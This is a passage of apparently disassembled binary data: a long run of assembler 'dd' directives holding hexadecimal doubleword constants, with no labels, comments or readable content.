		dd 0CF6600FBh, 0A9254033h, 99C0B6F2h, 2152C050h, 0EF230072h
		dd 83702CC6h, 980BD671h, 13AF7BD7h, 2AE3C978h, 261EF8h
		dd 6534D8Eh, 0B141997Bh, 0DDD1D202h, 805D2266h,	0CD2B7318h
		dd 809B0021h, 0BCBAA5B3h, 9CB17EC1h, 0D43A0780h, 0F9FD0CD3h
		dd 6C63BF4h, 8974B163h,	8625A1FAh, 43DC101Eh, 562D0007h
		dd 6E635773h, 61288BF4h, 0D82C8825h, 1C206875h,	109460A1h
		dd 964853h, 3B9E10D5h, 1336C874h, 19674F13h, 30E8C5h, 7A2BD94Ch
		dd 0ECB809E0h, 0F01063B7h, 14A8A937h, 9400FEABh, 5A2E3DB1h
		dd 0C8CF74B7h, 0B0BDFC80h, 8F543992h, 1FF70098h, 94F60901h
		dd 3C00A2BBh, 0B7937322h, 0A32B7Ah, 0CBA73E0Dh,	0B4DBD5D4h
		dd 0D003E12Eh, 0BE4D003Fh, 0A4EF7ED3h, 0C08FE22Fh, 13356B59h
		dd 850478EAh, 89493C5Eh, 4ED5CC80h, 505C0030h, 88D1C4E3h
		dd 561644D2h, 0DC52B58Bh, 4537488h, 6EEEA9Ah, 42C0F42Ch
		dd 26A58700h, 225667Bh,	12EC09A7h, 0D4B0CFFBh, 0B20072B6h
		dd 94265682h, 17793774h, 8BE7E22h, 0AE925534h, 0F245B090h
		dd 5FFA0020h, 0AD98210Ch, 9BF8384Bh, 0F13D4716h, 29728C8h
		dd 247B4035h, 78592D93h, 0CC02F32Ch, 611D4DBAh,	521009CCh
		dd 70ED7A2Ah, 0F10026ACh, 0D58D5E3Ch, 0C0B50696h, 8452AF18h
		dd 0D004AA2Dh, 3AAD27B3h, 73A8F8C0h, 99CEE296h,	69B70A04h
		dd 15A53E44h, 432674A5h, 0C6E22A44h, 60E0D282h,	1485A1Dh
		dd 28582C51h, 0C06E911h, 833C53Eh, 1E439D09h, 81890EFh
		dd 7BE100E8h, 327A8785h, 914FCED8h, 8D374402h, 0E4D4E61Ch
		dd 223C9868h, 963F028Fh, 10872D7Eh, 5AABD4Ch, 13DCB685h
		dd 0F54080C9h, 0A139D63Fh, 0E85DAC30h, 294CE411h, 334E6861h
		dd 80106C7Fh, 0A46068D2h, 0EF3E07C1h, 10410834h, 0BFE8EB6h
		dd 0FDAA8203h, 0EEB0B77Ch, 0C8F41289h, 6D7430B1h, 0A94841A3h
		dd 838A00DAh, 20BA9CE9h, 373ECD7h, 95DAEE4Ch, 0B99E880Ch
		dd 0F4573F05h, 0B4341796h, 5D1B0BEBh, 70496490h, 0AFEA2E02h
		dd 80EF56FBh, 0B0D66EB0h, 0F9573F20h, 0FFE14F2h, 540BE887h
		dd 0B860725Fh, 5C01C843h, 27C62DD7h, 3C40830Ch,	0C299F4Eh
		dd 0E00E895Eh, 460E8569h, 81BEAE2Ch, 0B6E6404Eh, 0F880A03Ch
		dd 3E775344h, 4D16FA00h, 0E6BBAED7h, 1867721Bh,	49E55D2Ch
		dd 9C026E6Bh, 185877E9h, 8634425Eh, 42E813E9h, 43B115BEh
		dd 39A80030h, 512B5F91h, 0EE2A0050h, 7B4E6AE1h,	1F483494h
		dd 0F08A2240h, 64E500F4h, 77B83001h, 509C20C1h,	0A027A10Ah
		dd 0FC781598h, 842C48CFh, 1482F71Fh, 0DB248C8Fh, 19B760E4h
		dd 5D010EBDh, 18474EF7h, 5C73F001h, 35AC1D07h, 30550786h
		dd 16C5EC3Ah, 2051580Ah, 0F913CF14h, 430C609h, 5F8948h
		dd 0F769C48Dh, 6700D9DEh, 528B2593h, 0B40DDC2Ch, 0C8374168h
		dd 3E65E860h, 25EE7C00h, 9FDF823Bh, 0B1EB00D3h,	48B02D22h
		dd 0CB4A961Fh, 706EA8C8h, 0BA841623h, 0D84C898h, 0E5101100h
		dd 8AEADD5Bh, 0A9AB0026h, 0AE0F724h, 0CD516FB9h, 0D6C80084h
		dd 0C44B96CBh, 54048837h, 632CD8h, 60BE1879h, 0D5D692C2h
		dd 26168502h, 0E45D1957h, 6FAF1FD0h, 530C095Fh,	0EB1F5C59h
		dd 2715D480h, 69E090h, 19DA1B8Eh, 5BF36625h, 747D1E1Fh
		dd 60D1AED2h, 0D0D34005h, 60ACFEh, 616A90D8h, 128D3DB2h
		dd 8801BEEEh, 0BB260EA1h, 0A072AE71h, 0AC06141Ch, 68170066h
		dd 48F077C2h, 42F194A8h, 0CC0C1A00h, 0A2CD8587h, 96BA12CFh
		dd 4154B510h, 0F87CCB08h, 0ACB9ACBEh, 0E2B20880h, 257AC522h
		dd 0E0C04139h, 71120618h, 0A0F24EA2h, 0D0160C13h, 1FCFCD18h
		dd 0A9068D17h, 0A4D5600Eh, 94C0643Fh, 2C7D5D54h, 0E4D6FDh
		dd 6EF76626h, 0FC9CC0F0h, 0CD688601h, 7030D9FFh, 63BF0588h
		dd 0C0E0D802h, 713D957Ch, 5D18C204h, 0D8E2C8B2h, 0C520ED07h
		dd 0D55040F7h, 0E70C668Eh, 0A8951C43h, 2609E30Fh, 5A633A3Ch
		dd 45E1C20h, 0E0E10211h, 194BCB40h, 6D2A82C0h, 2BFD90C3h
		dd 2452C07Fh, 9BD5C15h,	95733D00h, 3B56F571h, 39FC1B74h
		dd 0EDD42213h, 519EE402h, 74F165h, 3B00BCCh, 0BA024417h
		dd 68CA7F48h, 91EC4121h, 0BE8DE910h, 0D5AE6D1Ch, 4CD80038h
		dd 1F5FDE29h, 3F85007Eh, 0E666A873h, 0BE3E5C09h, 0D80B5FA2h
		dd 3BFC02C9h, 96A483D8h, 0F0D9403Ah, 0A04A285Dh, 2F203E0h
		dd 4180D8AFh
		dd 51CD66E0h, 0C0FCF158h, 0C0A4AB0Fh, 0CBA60097h, 852B8050h
		dd 3A027011h, 560F69Bh,	0DCA040E8h, 0CC5150AFh,	0FD7F28C6h
		dd 0F87492FAh, 0EC684C16h, 0C74FF202h, 9451D735h, 1E015200h
		dd 389FFC8Bh, 7B17771Dh, 0C7DC0AACh, 26BC24F2h,	994660A0h
		dd 0FA31B025h, 0F7D0C01Dh, 0B4008439h, 6F6B5639h, 660BCAA7h
		dd 3276E2h, 0C50A576Ch,	0C20F44AEh, 1EE8F800h, 0DFD9CD88h
		dd 4CEC055Ch, 8275A9FCh, 68C68AACh, 0EAC41F12h,	67720C30h
		dd 0BA4A0010h, 2D5846EFh, 7303DEA4h, 0E3E59839h, 9DF927E9h
		dd 2717E874h, 20302012h, 6CA8907h, 0DE7BD63Bh, 1E13A0BAh
		dd 3C21CD8Dh, 6C33A025h, 4F927300h, 5F907269h, 492BB712h
		dd 1FA8884Fh, 0F18E59C0h, 14DDED3Fh, 88FC9748h,	6020D580h
		dd 0A309DBDAh, 0C4E84AECh, 88F107DCh, 40EE4F3Eh, 4353FB75h
		dd 8A894100h, 10EFD5EAh, 2CF500F4h, 0D0547C82h,	0A1902752h
		dd 21A573Eh, 0A903CF2Dh, 0B0C5EDAh, 30837586h, 7800D05h
		dd 2513314Ah, 8008BE89h, 0C9AF8078h, 408DB5C7h,	344A5A26h
		dd 0E427CD0Ah, 33406444h, 0BCE2C4C3h, 0C00E9577h, 0C0EF2AAFh
		dd 1ABA72A9h, 807050FCh, 348197B8h, 635351A7h, 1D58009Ch
		dd 0D22A5F6Eh, 0A2AF00D6h, 35662B45h, 2260B82Ch, 603FD378h
		dd 6F6D0574h, 81F75EC3h, 8253F048h, 4AC236C8h, 404C5C27h
		dd 34D3D40Dh, 0D17FD200h, 0E026E9A6h, 786602C8h, 49E241A0h
		dd 774E48Ah, 0D4DA1AFEh, 8060ECB7h, 0A0EE977Ch,	15200549h
		dd 891296F8h, 0E8202FA8h, 0D77F95h, 5F3C6585h, 296B4E75h
		dd 570055B0h, 9F4030CFh, 580846DDh, 0AF80ACF0h,	2A9A9663h
		dd 0DF57FF02h, 6390AEF4h, 88F3B0AAh, 453E179Fh,	0EEC08ACh
		dd 1FDD01B8h, 0A798FC0Ah, 3C1139C0h, 4D02CAD2h,	0F0872C3Bh
		dd 8939F8F2h, 0AC880277h, 81EF3517h, 1B7BFA3Ch,	0CEC5FCh
		dd 4B4F748Eh, 6045D57Fh, 6C670424h, 81FC1C09h, 76635588h
		dd 4FA2ED0h, 96AEE2F0h,	2038B515h, 3B17EF3Ch, 5800D5F6h
		dd 934F5F2Ch, 63D205DCh, 882FA5CDh, 0A6074CE8h,	5D7C905Bh
		dd 66672C70h, 35620219h, 0E424C008h, 163E0446h,	42E300EDh
		dd 1398DE69h, 23A20265h, 1AC44F08h, 404AE602h, 0C22DE40h
		dd 0F5F76715h, 0ED274790h, 298C9064h, 207A00B4h, 0FB7E12B7h
		dd 0A8A60866h, 698E4D00h, 0AC85A8F1h, 3BF80096h, 6C24B631h
		dd 24954289h, 5CE2D7F4h, 44053800h, 5F7FC90Ah, 8091353Eh
		dd 0B718CA9Ch, 44F7DB74h, 5B008BC1h, 6279B536h,	4E3915h
		dd 1BFF88A4h, 0B43F42B0h, 0A026BF38h, 0C08D6072h, 820638EAh
		dd 0B009D505h, 0E820890Ch, 9029431Fh, 3A5779DCh, 6601AC7Dh
		dd 8855B9DEh, 0E7E46099h, 411F88h, 0A6FB5BFFh, 505E1833h
		dd 57F56201h, 0CEBED5E3h, 0E5F8F831h, 7C819555h, 3045CBDAh
		dd 6D05D280h, 40896810h, 0A70CA8A3h, 0B038FE16h, 89AF7E09h
		dd 0C9446BFAh, 0B871C2D6h, 179622E2h, 0F5032064h, 4CC7B409h
		dd 0A4401FE3h, 8802C1FFh, 301E4907h, 0A133758h,	2CE2FB94h
		dd 4326EE02h, 80F13D8Fh, 26D9509h, 0E08D3738h, 5DA12Ch
		dd 0AD53843Fh, 0CF67DD18h, 22C53605h, 68E2249Dh, 1F896226h
		dd 0B24F8012h, 0EDAB53C4h, 6CC2B027h, 0D75C09F4h, 0FC663C89h
		dd 90D8D264h, 18911122h, 18202FD3h, 0F9633Dh, 0D2A41CE9h
		dd 0DE0DACEAh, 0A29E7900h, 12EB0B2Bh, 9549842h,	2895B03Dh
		dd 0F100A0E4h, 0ABD1474Ah, 67CBC0h, 10AD3A5Ah, 29B49A88h
		dd 0CC4A2A01h, 66D81E1Ah, 0F5D79880h, 0FD976754h, 1420B04Ah
		dd 32CC34Eh, 7D8A145Ah,	0C993888h, 784E2E10h, 5F8FA44Ah
		dd 51001CF2h, 45DD48CEh, 60B10B0Ch, 185C40Fh, 0BF322C93h
		dd 3340203Eh, 7A01946Dh, 6A16B130h, 0CE971860h,	3D5C1F2Ch
		dd 0B4030680h, 5C37C702h, 47F5326h, 25E3A16Fh, 0C6F0A4D4h
		dd 0E6F300B9h, 517C5C93h, 44FA1D2h, 0EDFCC8h, 0F2EECECDh
		dd 301D9BD6h, 0EA0ABC00h, 7CC134F5h, 4F96EABAh,	3EF48816h
		dd 0F624D4B0h, 0E3A0C30h, 2FC39687h, 856E4967h,	0A0C0CE14h
		dd 91F2DE74h, 0F5CB01D4h, 0E8E824E5h, 8000E6DAh, 0C5751267h
		dd 0C2900F0Dh, 0BD81EFF9h, 7040A856h, 983630Bh,	5A697B97h
		dd 0EB005C79h, 0BA23C57Eh, 0FA1B0043h, 22EDC79Ch, 4B50D4Ah
		dd 0B4C21E94h, 20E062D3h, 79EC7A78h, 0ED020004h, 98263BAEh
		dd 0C709719Ch, 641F126Dh, 5BDB0014h, 0B0973DF0h, 940201A7h
		dd 0C27D50Ah, 0FDB4A17Dh, 0F89C25C7h, 40854233h, 90F9FEADh
		dd 0C403803Ah, 0A89F58Ch, 1F3ED23Ah, 7BAB4204h,	0B052250Ch
		dd 0BF0008B0h, 56060534h, 5C31F046h, 6D09F1FBh,	64806FC2h
		dd 1247D3C4h, 0BE80109Dh, 0FEF80046h, 739BC5FBh, 0C8F5197Fh
		dd 9201B922h, 79D0AB41h, 0E2E64D0Dh, 848CD1DCh,	0ACCB83F6h
		dd 0B016C0E8h, 0EEAEEB27h, 84F60724h, 0E2542090h, 0FAE24213h
		dd 0D5AC8C40h, 0BDAC0497h, 0EC00A8F2h, 0C81F0420h, 0CC2A9E62h
		dd 904494C7h, 5E50C212h, 68644189h, 0F768BD12h,	0C7F4A0D0h
		dd 62C95875h, 0B0E85419h, 56531209h, 16C2C74h, 0EFF5B1B4h
		dd 0AF707013h, 84C3B72Ch, 33FB7384h, 0FA8F64CCh, 0C41C3049h
		dd 0FAAFA8F0h, 0FE0370BAh, 0A364371h, 1D48FB8Eh, 0AD330320h
		dd 8C015C64h, 70BA1157h, 80D8DD44h, 0AFAD0028h,	5F817BF7h
		dd 59009964h, 0E12AF519h, 0C1BC5AE9h, 28AABB48h, 0CE08F7h
		dd 0B62AC8ADh, 0C5DFEA47h, 0ABAE300h, 18398852h, 82CF09C3h
		dd 20006C06h, 0CB64B9FAh, 0B1B74912h, 0A80178E2h, 5AE39827h
		dd 207C7106h, 55132170h, 8A45D83h, 0D193071Bh, 60B43262h
		dd 3F885C17h, 9AF9402h,	82D78376h, 59BFAB94h, 9B803C30h
		dd 1E33F18Dh, 4B09CCEBh, 4401153Fh, 90810038h, 8CD991FEh
		dd 0FA008384h, 0A6AC7586h, 302F932Dh, 85F80D09h, 0B0A9D2C7h
		dd 803C2CF8h, 2950F9D6h, 77E40537h, 0F42E832Ch,	0CD00DA08h
		dd 0E34A89Eh, 72B50502h, 4D700147h, 0A4AA781h, 58252BDCh
		dd 49B6C000h, 3015C9h, 0D4B27C22h, 216039EAh, 599C44B1h
		dd 5FDB3B01h, 69F99BA7h, 76BE44D8h, 10C9850h, 8C065756h
		dd 761296A1h, 0F9FE00B4h, 742B101h, 86D400D2h, 5E5F2681h
		dd 10707514h, 0C0244Ch,	3F43C9B0h, 0BEF7D4Dh, 2D6B3832h
		dd 0C0C03085h, 2695D104h, 42FB8778h, 5829FDE4h,	0A70E17D4h
		dd 9FFC8824h, 281A800h,	0FCB4A657h, 135F7791h, 0D4870C7Ah
		dd 36D3C014h, 0F54A8961h, 0BDB7488h, 74D0E134h,	68D9D000h
		dd 0D251233h, 0FCC8A57Dh, 0B2D4B4h, 191426Dh, 8221491Ah
		dd 0C8F0B518h, 98B3E8F8h, 59DE0B64h, 0C004BC9Fh, 468B22C2h
		dd 0DAF0644h, 30877D2Eh, 7E66E31Eh, 0A6407826h,	2FF31ADh
		dd 0A8A4B37Dh, 0D2011A1Eh, 7C6181C4h, 150B9C23h, 0A811EF5Bh
		dd 0A2CC0BEh, 19926101h, 5DD30846h, 1631EC31h, 8A697460h
		dd 0E0005846h, 61A1319Ch, 0E9DCADCh, 38B31181h,	75039560h
		dd 0EA0A4032h, 90BA4219h, 2C1FCE00h, 0B4147223h, 0A7C740D8h
		dd 790035DDh, 0D6B8BEE2h, 33012Fh, 0D2097D75h, 700AD3DEh
		dd 0F7B02507h, 924BB727h, 74208428h, 5220264Fh,	9DBAE179h
		dd 2C01975Bh, 160C8D99h, 8405F863h, 0C3890FD0h,	5DE8D3A4h
		dd 3F007509h, 5164CFFFh, 1F46854Bh, 8C84E521h, 3D481806h
		dd 7C20154Fh, 524073h, 0EA6B7C82h, 8DB03C04h, 0BB1E849Ah
		dd 478068BAh, 0C5629F42h, 1A572FE9h, 2C81B888h,	2BA1154h
		dd 2B4DF571h, 40B87CB1h
		dd 0D39118DCh, 0BC7A211Dh, 701EC140h, 7F5529CDh, 38B96190h
		dd 205A2243h, 0C883148h, 8E2C9484h, 0F1057179h,	8C980876h
		dd 78885D93h, 97F30092h, 68C95496h, 1067F989h, 31BC2E49h
		dd 0A0FF00B7h, 0A41D220Ah, 7B000B4Eh, 83E4B3D9h, 0C8E3751Ah
		dd 87931338h, 51976C30h, 5DD00B6h, 570BD240h, 7D01FB92h
		dd 9686B0D0h, 89857A3Fh, 81835F18h, 48890C79h, 9097228Ch
		dd 7634748h, 8D8D1B5h, 0A7012259h, 0EA04B05Ch, 0B0E84CAFh
		dd 1342C880h, 1A4FB32Bh, 1E9F8888h, 80E4B140h, 8526C754h
		dd 4664BC3Ah, 3F409570h, 206863F7h, 645CB72Eh, 0F8E8902Dh
		dd 758FCFAh, 6E183A6Fh,	22FE10EAh, 540E3936h, 4037FD59h
		dd 443B857Fh, 47760BE3h, 0D4C43D89h, 0EC983A00h, 0CDA20A82h
		dd 2F2902D9h, 0DC0F878Fh, 8769905Eh, 0F4C3C6B0h, 0CBC387C8h
		dd 0FF90243Bh, 573E0514h, 7E4B2D4h, 4DC18B30h, 0BCF7F411h
		dd 0F1FBFF10h, 414B0D00h, 9FCD22DAh, 99AD0488h,	0E050A4A0h
		dd 0A6063F2Ch, 5A087B35h, 905125B8h, 7D3D3040h,	0BDFC0111h
		dd 0E5B81F00h, 0CAB31C68h, 67931205h, 4CAD08DFh, 8D9B0C6h
		dd 5DBDF612h, 34E3F030h, 0EE861722h, 3A7900CFh,	0E9698188h
		dd 77585407h, 0D9B42B45h, 3700E8FCh, 786387CCh,	6CB4C7DCh
		dd 60BE4940h, 0FE44001Bh, 562B7BF2h, 0FFEC9BBBh, 9D551906h
		dd 2780223Ch, 40905BADh, 521CBB2Eh, 4416270h, 0D5C4B595h
		dd 4260B1D7h, 17360BD4h, 0C32C9E5Eh, 1988C7C0h,	7A00F008h
		dd 0C87963D6h, 26897515h, 26CC559Fh, 0FEF7C058h, 0F409410Dh
		dd 0D90B52FFh, 71C50FE4h, 14000769h, 0E5CB5491h, 0F8096B75h
		dd 0D9243306h, 9F5A0194h, 203F66C9h, 4302A410h,	62CB881Ah
		dd 0E305415Bh, 1B380ECh, 89CEABD3h, 0D6426779h,	0C2039046h
		dd 27E81513h, 68F090AFh, 242226CFh, 0C1C0164h, 0E89B7DBFh
		dd 980BD5D7h, 83C69FDDh, 0E4375D14h, 0A4E187C0h, 7D0C2454h
		dd 0A17B43C0h, 0B7EA9009h, 0F0287269h, 0E5D22C4h, 9F002C7Bh
		dd 0C29DE873h, 13AEDD3h, 36714CAh, 9312404Eh, 40202F29h
		dd 1F3D42Dh, 541F84C0h,	0D879D82Bh, 3A7AEA12h, 0B466D528h
		dd 4AA6344Ch, 52AE3449h, 13630054h, 0A58540CEh,	0BC092721h
		dd 4671EA7Dh, 2AEF2D74h, 0D000CCC4h, 5ED1C081h,	7ED57663h
		dd 4D9A00E0h, 0F929790Eh, 8988267h, 838F8801h, 0B72568B5h
		dd 41929EDDh, 0DD402205h, 2E9638E0h, 65106000h,	7E72A135h
		dd 0D4F30198h, 0BF27D2F9h, 0AF39D03Bh, 8F1AAB2Dh, 0DB5682B4h
		dd 3C45968h, 972A1CDEh,	0C2A7A0BFh, 6F15F951h, 5C2995h
		dd 6DAEBD54h, 1C80E83Eh, 8090E61Dh, 0F527E336h,	0B8043D34h
		dd 10963B71h, 1A040CE2h, 0E88CCD6Eh, 0D51880ACh, 3880B036h
		dd 0E8DC4B8Bh, 8D327E00h, 4867B506h, 181D8A09h,	0B051AAh
		dd 14772CF7h, 60073EE1h, 815061F4h, 0D84778B4h,	3594A03Fh
		dd 9575C6h, 0F2304650h,	0E4E62F64h, 62FC7490h, 656E9307h
		dd 80694573h, 1CA41E84h, 7C7C58F3h, 0AE80D504h,	0D71640E4h
		dd 131A0442h, 0E225119Ah, 5ECD0008h, 0E1E83AF7h, 23C0E56Bh
		dd 10B6167Ah, 5B51009Ch, 948DB71Dh, 52F031C9h, 13AE07D8h
		dd 60697D7Eh, 4AF86578h, 62F94702h, 76198EE5h, 445D60A8h
		dd 0D274B0Eh, 2D1068F0h, 0BA8E01E0h, 63A50FC9h,	0BB21F072h
		dd 0C5D460BFh, 0C18405F9h, 9374E93h, 498F864h, 0A50003E3h
		dd 752C0694h, 17195964h, 0E02F549Dh, 0B72E8D4Ch, 5340F065h
		dd 26EBCD7Ch, 548196Bh,	30E89CAh, 0E9881F2Ch, 3C0139A6h
		dd 0E2603D03h, 42FAA6CAh, 4CC84C5Ch, 731600A7h,	6B8031Ah
		dd 19C85F56h, 8800B953h, 485511D4h, 0C012C508h,	0ED669030h
		dd 5830FCD9h, 460C4060h, 127498C0h, 0E07DC8DFh,	18443CCh
		dd 361A615Ch, 3F246831h, 6A2B1020h, 395300E9h, 8EC9DD06h
		dd 6DF23ECDh, 2838B10Ah, 8C609088h, 2A85FEh, 728355ACh
		dd 0C6219798h, 8AB74916h, 8C0B4888h, 787C3D24h,	0C5118D0Bh
		dd 0C3700354h, 0FF984C22h, 1D030D59h, 0E0EED789h, 4558AEACh
		dd 18203F8Ch, 4157CAFh,	624FFEB9h, 448C09A7h, 989D3DBCh
		dd 3C76A800h, 930C6733h, 28F25E05h, 1CA2A9A1h, 0E677BA00h
		dd 0EE742FF6h, 0F5461900h, 537E4106h, 7C66480Bh, 93A9020Ch
		dd 0C9E0E5C8h, 4EFAB104h, 0E8579Fh, 258E044Ch, 64B7C782h
		dd 0FD821C79h, 0A03BEA0Dh, 523D0B78h, 0AED10050h, 0D5131F59h
		dd 0FBF8FEA9h, 228C4348h, 0A50A2507h, 10897C90h, 3E524F58h
		dd 1D481DCCh, 79653C4Bh, 58EE000Ch, 4D060959h, 0D00E7207h
		dd 7C39EFCh, 5724D06Ch,	0E5C1057Dh, 417F715Eh, 0ADD7171Ch
		dd 0DC3ECDEAh, 6D02B069h, 18F8F3E1h, 0BC5427h, 263DDBDh
		dd 3A0573AAh, 694D1C9Ch, 270014A2h, 17C77677h, 28B9B578h
		dd 3BCEEE80h, 38C490Dh,	0BDD69AD5h, 96A0B8FBh, 4A00B3FFh
		dd 2CF17399h, 1571D467h, 0BC129826h, 15C10C7Fh,	0FDA9110Ch
		dd 3706CC0Ch, 0FC05206Ah, 74B71EEBh, 8DD304CBh,	24F2B0h
		dd 5D84856Ch, 728528Fh,	0A414BC3Dh, 0AFDE4093h,	214239Fh
		dd 54F269h, 3EC0831Fh, 0FAF7622h, 5BD23137h, 0D4A9FBC0h
		dd 0D00FA4BBh, 763D7D91h, 88E3D4F0h, 0B306B841h, 0CE969D17h
		dd 4C7F8A9h, 0D65AA84Dh, 60E92Fh, 2C1CD1BCh, 7F15E87Dh
		dd 63FA58BEh, 379D1E3Fh, 785C4927h, 0D0C51883h,	32FF20F8h
		dd 0DDEB6601h, 2A61E6A2h, 4E521EFCh, 0A4FC80C2h, 0EC0E729Eh
		dd 56761502h, 422C809h,	0EC2486C0h, 73A80F0h, 9E64C692h
		dd 0E3954058h, 0DB00E2D9h, 0D2FC135Bh, 4DAC4Ch,	173A8AA9h
		dd 26E39DEh, 1E06104h, 70AF677Bh, 0D9D6290Ch, 19407494h
		dd 58066ADAh, 0F8527883h, 0BAA638C0h, 44178C5Eh, 90007095h
		dd 2E9968EFh, 45809036h, 10C82A9Eh, 79E5004Ah, 0B7FBB1EBh
		dd 42009D4Bh, 1C0EEA7Bh, 9924145h, 3E0A1F1Bh, 5603C004h
		dd 51FE1401h, 78332DC9h, 0DA103800h, 0CD20520Bh, 60A6A800h
		dd 99EFF43Dh, 6EE92F7Dh, 340040E4h, 2EC7B3BAh, 4A5D1E6Fh
		dd 70308021h, 6300BE84h, 3FCBF507h, 2DB2375h, 0CE3B04C2h
		dd 7C766CA9h, 0FF359D42h, 0EF2050C1h, 57EEBDA8h, 6156C300h
		dd 0BBE2441Ch, 9AEE2D3h, 87789647h, 0D9912C80h,	0EE097963h
		dd 0F1F5BA9h, 0DD02E0ADh, 0F0D53E0Dh, 3B4113BAh, 1CE215h
		dd 75AC12F9h, 3252CC3h,	7F195ABCh, 21008E2Fh, 11CE58DDh
		dd 826F6517h, 0FB026060h, 7040FC4Ah, 0ECD8C3DBh, 5BD9183Fh
		dd 0BEF3F020h, 0C4BC4025h, 73E2FE24h, 8A2B17FBh, 7EF48887h
		dd 3835A839h, 0D9D08B5Bh, 46AC802Fh, 98867FB5h,	0F9847E88h
		dd 2B80F478h, 78A86BB1h, 4F4909Dh, 0C53A09A5h, 4F8018ADh
		dd 50DC43B4h, 9116D300h, 81289227h, 8C4697BDh, 4D5E2B00h
		dd 759C9129h, 2EE2EC04h, 60705287h, 0C9232AD8h,	79592909h
		dd 99DC80F3h, 4C515F18h, 431224CBh, 0CE6490F2h,	0C13B924h
		dd 7A00FE6Fh, 0ACB568CBh, 542B9540h, 7627ED02h,	308FBCC0h
		dd 7031874Fh, 206CBD7Fh, 65328609h, 4490C404h, 30AE3A96h
		dd 689F5E4h, 6C88E44Ah,	7ABC2FF4h, 2B3FE064h, 0CE2200EDh
		dd 9515D99h, 3F1500DDh,	0B1FC6901h, 0C640D5C8h,	4972005Eh
		dd 5D4FC789h, 6A2CCA3Eh, 1F06C068h, 14607FCh, 4A068BF5h
		dd 48F48929h, 5D248790h, 0A28F701Fh, 6D3B278Ch,	0FC63E277h
		dd 5EB10065h, 11E83BDh,	43033FB3h, 31B6CA1Dh, 3E49753h
		dd 24EDE5C4h, 129A5900h
		dd 2351F73Eh, 0C7AB381Dh, 0D0CEB1CBh, 4CDE18D4h, 30A2F0A9h
		dd 94053C11h, 0C8EFAD00h, 592FD2A3h, 15BDFB00h,	0B839138Eh
		dd 19A50074h, 2D3F8592h, 9C095FA3h, 76CD5AE9h, 0C8026B08h
		dd 0B0874AD8h, 570671F3h, 80A0782Dh, 0E80CB156h, 0CC830F02h
		dd 0E40B89F6h, 6E3298B0h, 0D00CD7Dh, 11D3A446h,	2C2E5E7Eh
		dd 240E6B0h, 0C073AB22h, 263CF1h, 985C8DC0h, 0C8F1188Eh
		dd 3027305Dh, 8010A85Dh, 0C2FF72D5h, 0B0BCA04Ah, 9E7C0943h
		dd 8042C80h, 6E5B40E7h,	2797537Dh, 0ACC4C896h, 0F68134B3h
		dd 26C71287h, 0CA34212Eh, 21C1E00Dh, 0B10C521Ch, 0ABC8A14h
		dd 0F8EFDB43h, 0EA097D00h, 3F5AA8Bh, 2444F73Ch,	80226812h
		dd 0CB6605E2h, 81F2282Eh, 14E9F97Ch, 0CCC154C0h, 5F71096Ch
		dd 0C805D97Ch, 0C0CCA968h, 0B212136Fh, 74FF3B3Eh, 0DE692B80h
		dd 0A70C7844h, 5AA1DD1Fh, 337796BDh, 6D50F0B3h,	1C50EE39h
		dd 405EF340h, 67FB1560h, 49026BCAh, 3D89B2E3h, 74B855FEh
		dd 0D1006453h, 0FFCD974Fh, 400660h, 1C7CC80Ah, 24E458C5h
		dd 5A9A2C01h, 0E4C633Fh, 0B7D765E0h, 0BC38000h,	3A4A4318h
		dd 0F065E4F1h, 5002033h, 5C09DD83h, 63EE023h, 0C8E880F5h
		dd 76B89B92h, 0A77D1225h, 9A6C0071h, 473AA999h,	0CA96E938h
		dd 21E8D8A0h, 0A7075DF9h, 0B7603D08h, 0DDC1D9h,	0B8592D6Dh
		dd 0F42150D1h, 0C4DE2B25h, 3CE800E0h, 47E159DCh, 81003962h
		dd 0C3522272h, 0AD88D9h, 8CBD0EA5h, 59CD677Eh, 0CC882B61h
		dd 9220A45Eh, 0FD0C71ACh, 6A227879h, 0EC582E03h, 986E26AAh
		dd 982398A3h, 8E060010h, 0FCEE533Ch, 649E80E4h,	0DB84D41h
		dd 9428DC8h, 0C38B608Ch, 1ADBEC20h, 0DE4C8EA1h,	0FC35043Ch
		dd 0C88226C0h, 9C115789h, 0DFA2BD1Eh, 4CB87CC5h, 64CC2600h
		dd 0BF869741h, 0B1FC90B7h, 1675000Dh, 0DE12AF68h, 1700774Eh
		dd 24285C38h, 4A254FCh,	0B8CD1F65h, 2F9CCCA1h, 9178E100h
		dd 6328DDB5h, 7E3C1E41h, 6D0B4020h, 0FEAD989Fh,	0FD27B8B0h
		dd 3CD01884h, 89D49857h, 0A4302208h, 7AAF32C7h,	87240BC8h
		dd 42FC1C80h, 454890CDh, 0C396F4E4h, 0E4202B9Dh, 0A9753Ch
		dd 51F44F14h, 0BABC112Ch, 5540D89Ch, 95FB47Ah, 0A20AD23Dh
		dd 0B58E445Bh, 0C2F2E622h, 0C07D0031h, 0BD849D49h, 0AAF83335h
		dd 0B7273D75h, 0A830188Bh, 0B9628BCh, 3FF50034h, 0B7F84FFFh
		dd 0EC189246h, 71C88F0Eh, 75113296h, 70C15E29h,	54356F88h
		dd 0ED8FC10h, 0C7A104CEh, 658527B4h, 80321009h,	431241D0h
		dd 5E32E87h, 0A6F740E4h, 0D9007467h, 356283F4h,	28F32F0h
		dd 5A6D7A8Ah, 98704939h, 0A02F3325h, 9211AB50h,	0FF9D0189h
		dd 1EF53C72h, 0E017D8A7h, 7466B729h, 0BE8D09h, 62F101BCh
		dd 7410954Ah, 0E701B8CBh, 0F27E40E2h, 29D4A5BCh, 15309C7h
		dd 4C19F54Eh, 33C22EFh,	6C426127h, 2C60EF39h, 0EC178Bh
		dd 0BCC17230h, 8217334h, 0B03E802Ch, 0B43F6E07h, 24A806A4h
		dd 5ACD1180h, 7E00C734h, 5363CBEEh, 93CEDF8h, 1E9A7D28h
		dd 71808479h, 0F74FC0C7h, 0CCB88B6h, 9EC37D00h,	0D915BA8Ah
		dd 314F00C9h, 3C1FEE2h,	0F26553Ch, 45609CD2h, 1B087Eh
		dd 85A5B37Dh, 58B7392Fh, 0C6125492h, 640322F6h,	0EA1FC4C5h
		dd 0B1DC7A8Dh, 0A2F880E4h, 0CCAB27B9h, 0AA05FB03h, 0B0475D82h
		dd 1E88FA1Bh, 0D63923A5h, 0CAB00025h, 0A12033Ah, 5E18AC1Fh
		dd 0E4891ECAh, 14023812h, 0D1FECDE6h, 144F0098h, 7720D349h
		dd 5EEA3D01h, 0BD94D7CFh, 3000EC2Ch, 0A15F263Ah, 0AE5ACD36h
		dd 2F25EC20h, 23E13EFBh, 75301A82h, 9F801ECAh, 26441551h
		dd 2A8BF8B9h, 3F03766Bh, 936DC69Eh, 0A4A368h, 1907CE67h
